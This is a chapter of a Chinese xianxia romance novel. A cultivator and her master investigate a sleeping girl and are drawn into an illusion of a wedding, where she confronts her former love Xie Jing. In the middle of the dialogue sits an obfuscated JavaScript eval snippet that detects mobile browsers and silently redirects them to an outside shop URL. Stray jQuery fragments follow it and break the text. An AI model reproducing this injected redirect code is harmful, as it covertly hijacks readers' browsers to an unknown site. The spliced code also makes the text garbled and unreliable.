“师尊,让她醒来就是任务吗?”
沈昭宁看着木板床上躺着的女子,这个女子虽然闭上双眼睡着,但只有她和楼栖白知道,眼前女子周身萦绕着淡淡阴郁之气。
楼栖白看了一眼沈昭宁,回答:“是。”
旁边年纪稍大点的妇女哭道:“我家阿花已经睡了七日了,怎么都醒不来,求求你们救救她。”
“她最初没陷入昏睡之前有去哪里吗?”
“或者有哪里不对劲的地方吗?”
沈昭宁问道,她盯着眼前哭喊的妇女,总觉得哪里不太对劲。
楼栖白站在一侧,并未多说什么,也在等妇女说话。
“阿花七日前去过附近河水洗衣裳,回来就说困,我以为她是累了,就没在意,谁知她一睡,就睡了七日,都没有要醒的迹象。”
“师尊,你觉得呢?”
沈昭宁想听听楼栖白会怎么想,反正她觉得这个妇女说的话有些漏洞百出。
“不妨先看看昏迷女子身上是否有其他痕迹?”
楼栖白提议道,但是他自己本身完全没有要亲自上前的意图,看着身侧正在等他动作的少女,他弯起唇角,眼神示意让她去看。
沈昭宁指了指自己,纳闷道:“我吗?”
楼栖白微微颔首,“我相信你,而且男女有别,还是阿宁上前去比较好。”
沈昭宁听了楼栖白的解释,虽然觉得他自己去或许更能看出什么,但人间似乎很注重男女有别之事,于是她亲自向前,打算观察一下这个叫做“阿花”的女孩身上有何不对劲的地方。
她慢慢拉开给阿花盖的棉被,虽然现在确实是青阳天,但是清和天也快到了,犯不着盖着这么厚实的棉被,这样闷在里面睡不可能会舒服的吧。
“姑娘,你这是做什么?”老妇突然出声道。
沈昭宁见楼栖白已经离开屋内,只剩下阿花的母亲,她看起来的确十分担忧阿花,便向老妇解释道:“检查一下阿花的身上是否有痕迹。”
老妇急着问:“什么痕迹?”
“当然是让她昏迷的痕迹,是否身上沾染邪祟。”
沈昭宁边回答,边从阿花脸上开始看,哪里有不对劲的地方,她的面孔看起来很暗沉,没什么血色,应该是因为昏睡时间过长,身体并未进食的缘故导致。
她又开始去看阿花的两只手臂,看起来也没什么异常,但是当她准备去看阿花的肚腹时,老妇忽然上前要拦住她。
沈昭宁躲开老妇上前阻止的双手,狐疑道。
“你这是做什么?我并非是要伤害你的女儿,只是想知道她身上是否被下了咒之类的。”
老妇死死按住阿花的衣裳,不让沈昭宁查看,她颤巍巍起来,欲言泪哭。
“阿花她肚腹上有伤,我怕吓到姑娘。”
“并不会,婆婆不需要担心这个问题,我不会多说什么。”
老妇听了,还是有些犹豫不决,在思考什么。
沈昭宁:“如果想要你女儿醒来的话,还是要找到她身上的咒在哪里才行。”
老妇闻言,这才松开手,沈昭宁掀开衣衫,看女子的肚腹上有道触目惊心的疤痕。
看着格外刺眼,不过一眼能瞧出是刀刃所割,这道疤痕上的确和别处不同,有着不少阴郁之气,看来问题就出在这里。
“这伤痕是怎么回事?”
老妇哭着道:“是我家阿花生孩子才变成这样的。”
沈昭宁有些错愕,这个叫做阿花的女子看起来年岁不大,怎么都已经嫁作人妇了吗?
“原来她已婚配了,那如今孩子在何处?”
老妇骤然间泪如雨下,只嘴里不停说着孽缘之类的词。
沈昭宁见问不出什么,走出房门,看见一身蓝色少年正在院子内逗着家禽,没有半分紧张之感。
楼栖白虽然是她师尊,可是从外形看只是一个温润的少年样。
“看出什么来了吗?”
楼栖白察觉少女在身后,回身问道。
“嗯,这个叫做阿花女子的肚腹上有被下咒的痕迹。”
“原是如此,阿宁既然已找到,为何还面露困惑?”
“只是这个叫做阿花的女子明明年岁不大,却没想到已经嫁为人妇了。”
“她肚腹上有一道长长的疤痕,十分显眼。”
沈昭宁换了个好听的措辞,没有说那道疤痕已经不是显眼而是吓人的程度了。
“师尊,阿花姑娘是被邪祟入了体可能。”
楼栖白道:“没错,应该是幻魔,让人困在梦境里魔。”
魔?可是沈昭宁心底却并不觉得那是魔,更像是邪祟,她想起百里凛之前和他说的这个世间上存在了一种莫名的能量。
沈昭宁猜测,这件事情的主谋应该和屠杀灵溪镇上百姓的背后之人是一人。
*
“怎么回事?”
这是哪里?
沈昭宁见浓雾四起,什么都看不到,就像是跌入了深渊一样。
“小姐,你为何还不换衣裳?”
“在不换衣裳的话,待会就来不及了。”
【什么声音?】
沈昭宁再一睁眼,入目便是古色古香的卧房,卧房被装扮得喜气洋洋,窗棂上也贴着鲜艳的纸花,那纸花上赫然是一个“喜”字。
“小姐,我们先出去了,你快换上衣裳,姑爷等会就到了。”
说话之人,便是站在身侧的丫鬟,她神色心急如焚,说话这句话,就慌慌张张跑出去了。
沈昭宁的视线转向床榻之上,那静静放着一身华丽美艳的大红嫁衣,也就是刚刚那丫鬟所说的她要换的衣裳。
沈昭宁不想换,想出去告诉那个女子她不是她主子,可是却没想到她的行为完全不受自己控制,任由屋内其他丫鬟将那艳丽的嫁衣穿在她的身上。
“小姐,今日是你的大喜之人,为何愁眉苦脸,谢公子带会就来了,你不是最喜欢他了吗?"
"谢公子?”
“我叫什么你们可还记得?”沈昭宁试探性的问道。
她端正地坐在妆凳之上,任由身旁的婢女们细细为她上妆。
“小姐,你怎么会问这个问题,小姐的姓名我们这群下人怎敢称呼呢?”
“我只是考考你,你只要说便是,我想看看陪在我身边之久的人,记不记得主子的名字。”
叫翠玉的婢女道:“我们当然记得,小姐是沈家女儿,赐名昭宁。”
“嗯。”
看来,她的名字没有变化,但是这里是何处呢?
原先沈昭宁和楼栖白在得知阿花昏迷是因为中了符咒之后,欲打算前去她昏迷之前去的那条河探探究竟,总不能说那怪物,或者是魔物藏在河里吧?
可谁知他们还没到河水边,只是出了阿花家,走到林子里,就有一个浑身被邪气所笼罩的“人”出现,完全看不清样貌,只是从身形来看,或许是一个人。
这“人”似乎很痛恨她和楼栖白,什么话都没说,上来就是要一招毙命。
但是这“人”怎么打得过他们二人,楼栖白召唤栖霜剑,打算直接一剑击杀。
可是剑锋刺向黑雾中间之时,骤然间发出一道刺眼的光芒,接着就是浓雾四起。
再醒来,沈昭宁就出现在这里了。
楼栖白不知道在不在这里。
“小姐,快出去吧,姑爷再外面等着你呢。”
沈昭宁又一脸雾水地被推出去,她问身边叫翠玉的姑娘。
“为何是直接在沈府拜堂?”
按照人间的习俗,男女婚嫁似乎都是在男方家里,现在她看起来并不需要去所谓的新郎官家中。
“小姐,你忘记了吗,姑爷是入赘沈家的,主母爱你疼你,便给小姐招了一个上门女婿。”
“姑爷还是小姐很喜欢的人呢。”
说话之间,沈昭宁被婢女们盖上了头纱,于是只能盯着青色的地面跟着她们走。
“小姐,到了,快把手给姑爷吧。”
婢女们牵着沈昭宁来到了庭院正中央,就停了下来,说完这句话后,便离开了。
沈昭宁盯着地板,赫然看到自己身前应该有一个男子,从他穿的红鞋看就能看出,他就是她的新郎官了。
骤然一阵微风轻拂,吹动了沈昭宁头上盖着的红纱。
她看见了这男子的模样,他神色淡然清冷,没有半分新婚的喜色,目光落在她的身上,眉头微微皱起来。
【她和他真是相爱之人吗?为何这人看起来一点喜悦之情都没,反而给人一种强迫之感。]
就在沈昭宁要将自己的手放到那双宽厚之手时,外面忽然传来一阵声音。
“阿宁,你新婚怎么不告诉我?”
这声音太过熟悉了,音色温润如水。
是楼栖白,是她师尊。
“楼公子,你这是做什么?"
"我家小姐早就不喜欢你了,你为何要在小姐的大婚之日纠缠不休?"
周围指责的声音不断响起,都在责怪这个姓楼的公子破坏了喜庆的日子。
“阿宁不喜欢我无妨,我喜欢阿宁就足矣。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729977|207652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不过为何新郎不是我呢?”
“明明我也穿着喜服。”
楼栖白的声音越来跃近,最后甚至就在她耳边响起。
他的手似乎在她的头纱之上,透过缝隙,那双浅蓝色的眸子正带着雀意看着她,沈昭宁内心微怔。
就算现在是演戏,不得不这么做,但是楼栖白演的为何这么得心应手呢?
师尊修行的道,沈昭宁记得明明就是无情道啊....
“你做什么,这是我的娘子,楼公子最好还是离远一点。”被称作姑爷的男子伸手抓住了楼栖白欲靠近她的手。
“我不做什么,不过阿宁真是你的娘子吗?”
“你让她选选看好不好?”
沈昭宁被这话一惊住,顿时不知所措。
什么叫她来选新郎官?她选哪个哪个就是吗?
万一这两人都是呢?
不过楼栖白这话一出,似乎激怒了另一个人。
这个姑爷似乎想要击退楼栖白,谁知没击中,反倒让她的头纱掉了下来。
这下子,沈昭宁终于看清了这个姑爷的相貌,他眉目清俊,矜贵疏离。
“你是沈昭宁?”
姑爷看清牵着的女子面貌惊讶出身道。
“是。”
沈昭宁这下明白了,这个姑爷是她所认识的,叫做谢璟。
过去她和他关系甚好,他们一起下山历练,他爱哭,胆子也小,但是却十分关心她,心思也算细腻。
她不知不觉之中喜欢上了他,甚至将自己的一颗心脏赠予了她,可是到头来,她得到的是什么呢?
是一句“我已有心上人。”
自此,她便很少在和他一起,谢璟修了无情道,变得越来越冷淡,似乎七情六欲都消失了。
但是直到最后,沈昭宁都不知道谢璟喜欢的人到底是谁。
沈昭宁挣脱握着她的手,那双手从看见她面貌开始,抓的很紧,让她心感不适。
她看向站在前面的楼栖白,一身红色喜衣,并未觉得让人觉得张扬,反倒是衬得他越发温润柔和。
楼栖白的乌发被一蓝色发呆束起,面貌如玉,明明已是千岁之人了,却一身少年之气,肆意洒脱,儒雅干净。
“快点做出选择,谁是你真正的新郎官,选错的话,你们永远无法出去了。”
一道阴沉之音,在她耳边响起。
【到底选谁啊?为何突然要叫她选择,这邪祟到底想做什么?】
“阿宁,选我,我才是你的新郎官。”
“你以前最喜欢我了不是吗?”
谢璟直视沈昭宁,眼神离带着怀恋神情道。
“可你不是早已有心上人吗?"
[这邪祟肯定没安好心,或许选哪个都是错。】
【她才不会傻傻的邪祟说什么就做什么呢。】
沈昭宁打算先和眼前很久未见的谢璟谈谈,眼神示意楼栖白走到她身边。
“先不结了,我们去别的地方谈谈。”
周围众人见新娘子说出这话,顿时一惊,议论起来。
“难道这新娘子真的和这个叫做楼公子的少年有奸情?”
?
什么奸情,这说的也太难听了。
“阿宁,你确定不结了?谢公子不是你最喜欢的人吗?”
“母亲,婚姻之事是人生大事,女儿想过几日再说,我想知道谁才是我喜欢之人。”
“罢了罢了,你们去吧。”
似乎自从楼栖白来了之后,自己就不太在受这个幻境所影响了,最起码可以控制住自己的言行举止了。
*
“谢璟,你为何在这里?”
他们三人现如今全在沈昭宁的卧房。
“我也不知。”
“那我以前送给你的那枚吊坠在哪里?”
无论如何她都要将自己的心脏拿回来。
“不记得了,但是并不在我这里。”
四下安静,沈昭宁看谢璟不像是说谎之人,便没再问。
可是一直没出声的楼栖白忽然开口。
“阿宁,你和他是怎么认识的?"
"师尊,你真的没认出我吗?”
【她完全不想再装了,不如直接摊牌,承认,反正她不信楼栖白真没认出她来。】
【假若楼栖白要杀她,她就趁这个幻境里,让楼栖白身死。】
话落,鸦雀无声。
楼栖白怔怔望着沈昭宁,思绪像是断了线。
他没想到阿宁会在这个时候坦白,阿宁或许依旧恨着他。